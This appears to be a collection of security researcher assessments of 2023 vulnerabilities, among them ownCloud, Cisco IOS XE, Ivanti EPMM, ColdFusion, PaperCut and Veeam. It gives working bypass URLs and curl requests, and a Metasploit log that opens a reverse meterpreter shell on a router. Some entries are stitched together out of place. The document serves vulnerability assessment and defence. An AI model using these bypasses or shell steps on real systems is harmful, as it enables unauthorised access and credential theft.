sfewer-r7 (55)

Update Dec 1, 2023: I have updated this assessment to reflect that vulnerable Docker based installations are indeed exploitable with a trivial modification of the original exploit technique. I have adjusted the exploitability rating and attacker value rating to reflect this new information. I also clarified that the addition of phpinfo to the PHP disabled functions list is a recent addition by ownCloud in response to the vulnerability, and it has been back ported to older Docker images.

Overview

Some installations of ownCloud may contain a vulnerable graphapi application which exposes a PHP endpoint /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php that allows the output of the phpinfo() function to be displayed to an attacker. This output may contain sensitive information, such as secrets held in environment variables. How the target endpoint is successfully reached depends on how the ownCloud installation was performed.

ownCloud may be installed via one of two methods as described in the vendor documentation, either via Docker or via a manual installation. How ownCloud was installed will impact its vulnerability.

Installation via Docker

When a vulnerable ownCloud Docker image is run as a Docker container, a vulnerable graphapi application will be present by default (we tested ownCloud 10.13.0 and 10.12.1), however any attempt to reach the vulnerable endpoint will result in a 302 redirect to the login page. This does not happen against a manual installation of a vulnerable ownCloud, as the Docker image contains some additional entries in the file /var/www/owncloud/.htaccess which redirect all requests that don’t match some rewrite rules, to a dispatcher via index.php, which in turn was observed to perform the 302 redirect.

ErrorDocument 403 /core/templates/403.php
ErrorDocument 404 /core/templates/404.php
<IfModule mod_rewrite.c>
 Options -MultiViews
 RewriteRule ^favicon.ico$ core/img/favicon.ico [L]
 RewriteRule ^core/js/oc.js$ index.php [PT,E=PATH_INFO:$1]
 RewriteRule ^core/preview.png$ index.php [PT,E=PATH_INFO:$1]
 RewriteCond %{REQUEST_URI} !\.(css|js|svg|gif|png|html|ttf|woff|ico|jpg|jpeg|json|properties)$
 RewriteCond %{REQUEST_URI} !\.(min|js|auto)\.map$
 RewriteCond %{REQUEST_URI} !^/core/img/favicon\.ico$
 RewriteCond %{REQUEST_URI} !^/robots\.txt$
 RewriteCond %{REQUEST_URI} !^/remote\.php
 RewriteCond %{REQUEST_URI} !^/public\.php
 RewriteCond %{REQUEST_URI} !^/cron\.php
 RewriteCond %{REQUEST_URI} !^/core/ajax/update\.php
 RewriteCond %{REQUEST_URI} !^/status\.php$
 RewriteCond %{REQUEST_URI} !^/ocs/v1\.php
 RewriteCond %{REQUEST_URI} !^/ocs/v2\.php
 RewriteCond %{REQUEST_URI} !^/updater/
 RewriteCond %{REQUEST_URI} !^/ocs-provider/
 RewriteCond %{REQUEST_URI} !^/ocm-provider/
 RewriteCond %{REQUEST_URI} !^/\.well-known/(acme-challenge|pki-validation)/.*
 RewriteRule . index.php [PT,E=PATH_INFO:$1]
 RewriteBase /
 <IfModule mod_env.c>
   SetEnv front_controller_active true
   <IfModule mod_dir.c>
     DirectorySlash off
   </IfModule>
 </IfModule>
</IfModule>

While it was initially believed that avoiding the Apache rewrite rule that generated a 302 response was not possible, it has now been discovered that a simple modification to the target URI path can bypass the rewrite rule and successfully reach the target endpoint. We can see above that several file extensions have a rewrite condition that will avoid the rewrite rule if they are passed. Specifically paths that end in .css or .js (and so on) will not be subject to the rewrite condition. In order to successfully call the target PHP page, while also ending a URI path with a file extension that is not .php, we can append a forward slash followed by the file extension that will bypass the rewrite condition. For example appending /.css to the target URI will allow the GetPhpInfo.php page to be called while still ending the URI in a file extension that bypasses the rewrite condition.

This will reveal the OWNCLOUD_ADMIN_USERNAME and OWNCLOUD_ADMIN_PASSWORD, allowing an attacker to login to the ownCloud system as an Administrator user, as shown below:

Mitigating with PHP disabled functions

It appears ownCloud has been updating older Docker images (we tested 10.13.0 and 10.12.2) to add the PHP function phpinfo to the disable_functions list. If this is in place, even if you can reach the vulnerable endpoint, you would get no content returned.

root@b14ad59db823:/var/www/owncloud# cat /etc/php/7.4/apache2/conf.d/99-owncloud-apache.ini 
= pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,phpinfo,show_source,fopen_with_path,
dbmopen,dbase_open,filepro_retrieve,posix_mkfifo
root@b14ad59db823:/var/www/owncloud#

Notably, we also inspected an older Docker image for version 10.10.0 and 10.12.1, and found that these versions do not contain ‘phpinfo’ in the disable_functions list.

For this mitigation to be effective, the running Docker container would have to use a Docker image that has been recently updated to include this mitigation. So containers based on images that did not have this mitigation applied at the time the image was downloaded, will not have the mitigation in place.

Manual Installation

When manually installing ownCloud (we tested 10.13.0 for the manual installation), the graphapi application is not installed by default (unlike the Docker counterpart). You must manually download and install the vulnerable component. After this is done, it is possible to reach the vulnerable endpoint via a simple GET request, resulting in the display of the apache2 processes environment variables.

Exploitability

It seems more likely that sensitive environment variables would be present in a Docker based installation of ownCloud, as this is a common technique used to pass secrets to a Docker container at runtime. In addition, Docker based ownCloud images include the vulnerable graphapi component by default. While the original public exploit did not work against Docker based installations, we now know it is possible to exploit a Docker based installation. This new development significantly increases both the attacker value and exploitability of this vulnerability.

Misc

It is also worth pointing out that the public PoC uses the endpoint /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Note the /owncloud/ path segment at the start of the URI. If ownCloud has been installed either via Docker, or manually as per the official instructions, this path segment is not expected to be present. The expected URI should be /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Researcher Will Dormann has noted this anomaly also.

Based on performing an analysis of this vulnerability, I set the attacker value of this to Medium, as while we can leak a NTLM hash, it may not be feasible to either crack the hash if the password is a complex value, and it may not be feasible to pass-the-hash if their is no suitable target service the attacker can leverage for a pass-the-hash attack. The exploitability of this vulnerability is Very High, as it is unauthenticated and trivial to perform.

While this vulnerability requires authentication, it can be chained with CVE-2023-20198 to achieve unauthenticated RCE on the target, as shown via the Metasploit exploit:

msf6 exploit(linux/misc/cisco_ios_xe_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cisco_ios_xe_rce) > exploit

[*] Started reverse TCP handler on 192.168.86.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Cisco IOS XE Software, Version 17.03.02
[*] Created privilege 15 user 'sqVXixoV' with password 'ZiPbsXBu'
[*] Removing user 'sqVXixoV'
[*] Sending stage (3045380 bytes) to 192.168.86.58
[*] Meterpreter session 6 opened (192.168.86.42:4444 -> 192.168.86.58:64970) at 2023-11-06 17:01:06 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : router
OS           :  (Linux 4.19.106)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

I have marked the exploitability for this vulnerability as High, as the vulnerable Web UI component may not be enabled by default. The attacker value for this vulnerability is Very High, given the target devices running IOS XE are enterprise routers/switches/access points.

Based upon analyzing the public exploit and the root cause of the vulnerability, I have rated the exploitability as very high as this vuln is unauthenticated and is trivial to exploit with the public exploit. The attacker value is high as this service is used in enterprise environments, Shadowserver reports over 3000 vulnerable instances online as of Oct 30, 2023

Based on our Rapid7 Analysis and having reproduced the vulnerability, the attacker value of this vulnerability is very high, as successful exploitation leads to a total loss of both integrity and confidentiality of all data on the Confluence server. The exploitability rating is also very high as the vulnerability is trivial to exploit, only requiring two simple cURL requests, and it is unauthenticated.

Based on our Rapid7 Analysis, the attacker value for this vulnerability is very high due to the target software being a file transfer solution. The exploitability rating for this vulnerability is also very high as it is trivially exploitable with a single HTTP(S) POST request by an unauthenticated attacker.

Based on the accompanying Rapid7 Analysis, the attacker value for CVE-2023-42793 is very high given the target product is a CI/CD server, and as such may contain sanative information such as source code or signing keys, in addition to being a vector for conducting a supply chain attack. The exploitability for this vulnerability is also very high, as the product is vulnerable in a default configuration and an attacker can trivially exploit it with a sequence of cURL commands.

On September 18, 2023, GitLab released an advisory for CVE-2023-5009, a vulnerability that affects GitLab Enterprise Edition (EE) from versions 13.12 and before 16.2.7, and also from versions 16.3 and before 16.3.4. Notably version 13.12 was released May 22, 2021, which means this vulnerability has been present in the code base for 2 years and 4 months. The open source commit that fixes the issue can be found here.

CVE-2023-5009 is described as a bypass of CVE-2023-3932 which was patched two months prior. Both issues allow an attacker, who is authenticated as a user on a GitLab EE server, to run pipelines under the context of another arbitrary user on the same GitLab instance. The impact of doing this would allow an attacker to access resources, such as private source code or other secrets, owned by a target user.

Pipelines allow GitLab to perform Continuous Integration (CI) and Continuous Delivery (CD). Pipelines define the work to perform and this work is then executed by Runners. A detailed walkthrough of how to exploit the original issue CVE-2023-3932 is available, and shows how an attacker can create a malicious self hosted runner that is capable of accessing private data from a target user.

Of note is how, according to the advisory, the new bypass CVE-2023-5009 requires two features in GitLab EE to be enabled, specifically:

• Security Policies
  
• Direct Transfers
  

“Security Policies” require an Ultimate edition license of GitLab EE and are enabled by default. They define how scans are performed when a pipeline job runs.

When enabled, the “Direct Transfers” feature allows a user to transfer ownership of a project to another user. When testing a vulnerable GitLab EE server version 16.3.3, it was noted that the “Direct Transfers” feature was disabled by default. An admin user must enable this feature for it to be available to other users. It is likely that this non default requirement will reduce the amount of impacted servers. In addition the attacker must have authenticated access to an account on a vulnerable server. While some GitLab instances allow new users to sign up (and by default this is allowed), this may not be possible in all cases when the GitLab admin has disabled new user signups.

Based on this, the attacker value for this vulnerability is high as it allows for the discovery of private data, however the exploitability is lower as not all vulnerable instances of GitLab EE will be configured to enable “Direct Transfers”, nor will an attacker have a valid user account on the server. This will limit the ability for attackers to exploit this vulnerability broadly, however targeted attacks are more likely.

Update: August 8, 2023: Ivanti have indicated that CVE-2023-35082 affects all versions of Endpoint Manager Mobile (EPMM) prior to a patch released August 7, 2023. The attacker rating value for CVE-2023-35082 has been increased to reflect the new product versions affected by this vulnerability.

CVE-2023-35082 gives an attacker unauthenticated API access to a vulnerable Ivanti Endpoint Manager Mobile (EPMM) or MobileIron Core target.

An attacker can access the MobileIron Core API unauthenticated, by including /asfV3/ in the URL path, for example:

c:\> curl -k https://192.168.86.103/mifs/asfV3/api/v2/ping

This will successfully call the ping API endpoint, which is meant to require authentication from a user with admin role privileges, and the following result is returned:

{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

The /var/log/httpd/https-access_log log file on the appliance will show indicators of compromise for entries containing /mifs/asfV3/api/v2/in the path and a HTTP response code of 200. For example:

192.168.86.34:61736 - - 2023-07-28--15-24-51 "GET /mifs/asfV3/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 3285

Analysis

We analyzed an older unsupported version of MobileIron Core version 11.2.0.0-31 which is vulnerable to CVE-2023-35078. The vulnerability allows for remote unauthenticated API access due to an access control bypass vulnerability.

The server leverages an Apache reverse proxy to forward requests to a Tomcat server running a Java web application which is built on top of the Spring framework. For an incoming API request, Apache will pass-through requests for /api/v2/ to /mifs/rs/api/v2/ in the “MI File Service” (mifs) web application:

  RewriteRule         ^/api/v2/(.*)$                      /mifs/rs/api/v2/$1                [PT]

The mifs web application has the following in its security.xml configuration file:

  <sec:http pattern="/aad/**" security="none" create-session="stateless"/>

  <!-- ...snip... -->

  <!-- For web service API -->
  <sec:http pattern="/rs/api/v2/**" create-session="stateless" use-expressions="false" disable-url-rewriting="false">
    <sec:http-basic/>
    <sec:csrf disabled="true"/>
  </sec:http>

This enforces HTTP Basic authentication on API requests. We can note that requests to the url pattern "/aad/**" are set to security="none", which disables the security filter chain for the request, if the request is handled. As this appears before the security filter for the API paths, it appears a subtle vulnerability is then introduced by how the Azure Active Directory (aaddispatcher) servlet handles requests. The web application’s web.xml file contains a servlet mapping that will process all requests that match the URL pattern "/aad/*" (which will be "/mifs/aad/*" before it is passed to the Tomcat server):

  <servlet>
    <servlet-name>aaddispatcher</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>
        WEB-INF/aadenrollment-servlet.xml
      </param-value>
    </init-param>
    <load-on-startup>101</load-on-startup>
  </servlet>

  <servlet-mapping>
    <servlet-name>aaddispatcher</servlet-name>
    <url-pattern>/aad/*</url-pattern>
  </servlet-mapping>

If an attacker sends a request to an API endpoint such as /mifs/aad/api/v2/ping, then the API can be called successfully without authentication.

It appears that the aaddispatcher servlet processes the request, which disables the security filter chain from processing any more filters and no authentication is performed. For reasons currently unknown, the request is then serviced by the servlet that handles API requests (CXFServlet).

For example, if an attacker attempts to access the endpoint /api/v2/ping unauthenticated, the request fails with a 401 unauthorized response.

C:\>curl -k https://192.168.86.103/api/v2/ping
{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.http.401","localizedMessage":"Unauthorized"}]}

However if an attacker attempts to access the endpoint /mifs/aad/api/v2/ping the request succeeds.

C:\>curl -k https://192.168.86.103/mifs/aad/api/v2/ping
{"results":{"apiVersion":2.0,"vspVersion":"VSP 11.2.0.0 Build 31 "}}

Indicators of Compromise

The following indicators of compromise are present in the Apache HTTP logs stored on the appliance.

The log file /var/log/httpd/https-access_log will have an entry showing a request to a targeted API endpoint, containing /mifs/aad/api/v2/ in the path and showing a HTTP response code of 200. Blocked exploitation attempts will show a HTTP response code of either 401 or 403. For example:

192.168.86.34:58482 - - 2023-07-27--13-01-39 "GET /mifs/aad/api/v2/ping HTTP/1.1" 200 68 "-" "curl/8.0.1" 2509

Remediation

Ivanti has released the following patches to address the issue:

• 11.10.0.2
  
• 11.9.1.1
  
• 11.8.1.1
  

Product versions no longer receiving support are also affected, and Ivanti has released a workaround as part of their response.

As per the Rapid7 advisory, an access control bypass vulnerability previously patched by Adobe, CVE-2023-29298, was incomplete and an attacker could still bypass the access control by specifying a URL with an unexpected double dot sequence, such as /hax/..CFIDE/wizards/common/utils.cfc. The new patch bypass vulnerability was designated CVE-2023-38205.

As per the Rapid7 advisory, this vulnerability allows an attacker to bypass an access control feature designed to permit access to the ColdFusion Administrator endpoints on a ColdFusion web server based on the requesting IP address. When a request originates from an external IP address that is not present in the access controls allow list, access to the requested resource is blocked. At attacker can construct a URL whose path contains an unexpected forward slash, such as //CFIDE/wizards/common/utils.cfc and the resource can be accessed regardless of the requests IP address.

This vulnerability is particularly useful to an attacker as it can be chained with existing RCE vulnerabilities that require targeting CFC of CFRM endpoints ion the ColdFusion administrator, such as CVE-2023-26360 or CVE-2023-38203.

After investigating a separate ColdFusion vulnerability CVE-2023-26360 and in conjunction with privately reported information regarding CVE-2023-26359, I can rate this vulnerability as easily exploited and vulnerable in a default configuration.

Based on writing an exploit and the AttackerKB Analysis, I can confirm the exploitability of this vulnerability is easy and in a default configuration of the target software.

Based on learnings from developing a RCE exploit, our AttackerKB Analysis, and given additional PoC’s are now available publicly I think the exploitability rating for this vulnerability warrants an increase from the original difficult rating.

Overview

On April 14, 2023 the Zero Day Initiative published two advisories, ZDI-23-233 aka CVE-2023-27350 and ZDI-23-232 aka CVE-2023-27351, for two vulnerabilities affecting PaperCut MF and PaperCut NG.

PaperCut have released their own advisory for these two vulnerabilities. The vulnerability CVE-2023-27350 allows an unauthenticated attacker to achieve remote code execution on a vulnerable PaperCut MF or NG Application Server and affects all versions of both products, from version 8.0 up to the patched version (as listed below). The CVE has been rated critical and has a CVSS base score of 9.8. On April 19, 2023, PaperCut updated their advisory to report that this vulnerability has been exploited in the wild.

On April 21, 2023, Huntress published technical details on the vulnerability.

Guidance

A vendor supplied patch is available and should be applied to successfully remediate the issue.

For PaperCut MF the following versions remediate the issue:

• 20.1.7
  
• 21.2.11
  
• 22.0.9
  

For PaperCut NG the following versions remediate the issue:

• 20.1.7
  
• 21.2.11
  
• 22.0.9

On March 7, 2023, Veeam published an advisory, along with patches, for CVE-2023-27532. This vulnerability affects Veeam Backup & Replication versions 12 (before version 12.0.0.1420 P20230223) and 11 (before version 11.0.1.1261 P20230227). An unauthenticated attacker is able to retrieve encrypted credentials from the Veeam Backup service, which listens on TCP port 9401 by default. The original CVE was given a CVSS score of 7.5 and a severity of High, due to newly available information, this seems to underestimate the impact this vulnerability can have.

On March 9, 2023, CODE WHITE GmbH tweeted that it was possible to retrieve plaintext credentials from the Veeam Backup service. The original advisory stated only encrypted credentials could be leaked, so this development significantly increases the impact of this vulnerability.

On March 13, 2023, Huntress published an article demonstrating how arbitrary code execution can be achieved. By leveraging the initial vulnerability to retrieve the encrypted credentials, the plaintext credentials can be retrieved by calling another unauthenticated endpoint on the Veeam Backup & Replication server. Finally the newly discovered credential appears to be used to call an authenticated endpoint to achieve arbitrary code execution with local system privileges. Huntress have not published full details of the exploit nor any proof of concept code.

On March 17, 2023, researcher Y4er published technical details on how to retrieve the encrypted credentials from a vulnerable Veeam Backup & Replication server.

Veeam Backup & Replication is a high value target for an attacker, and this product has been featured on the CISA Known Exploited Vulnerabilities Catalog in 2022 for two different CVE’s.

While it is unlikely to see the vulnerable service broadly exposed on internet-facing systems, for an attacker with initial access into a corporate network, this will be a target of great interest. In particular we can expect ransomware groups to leverage this vulnerability in future ransomware campaigns.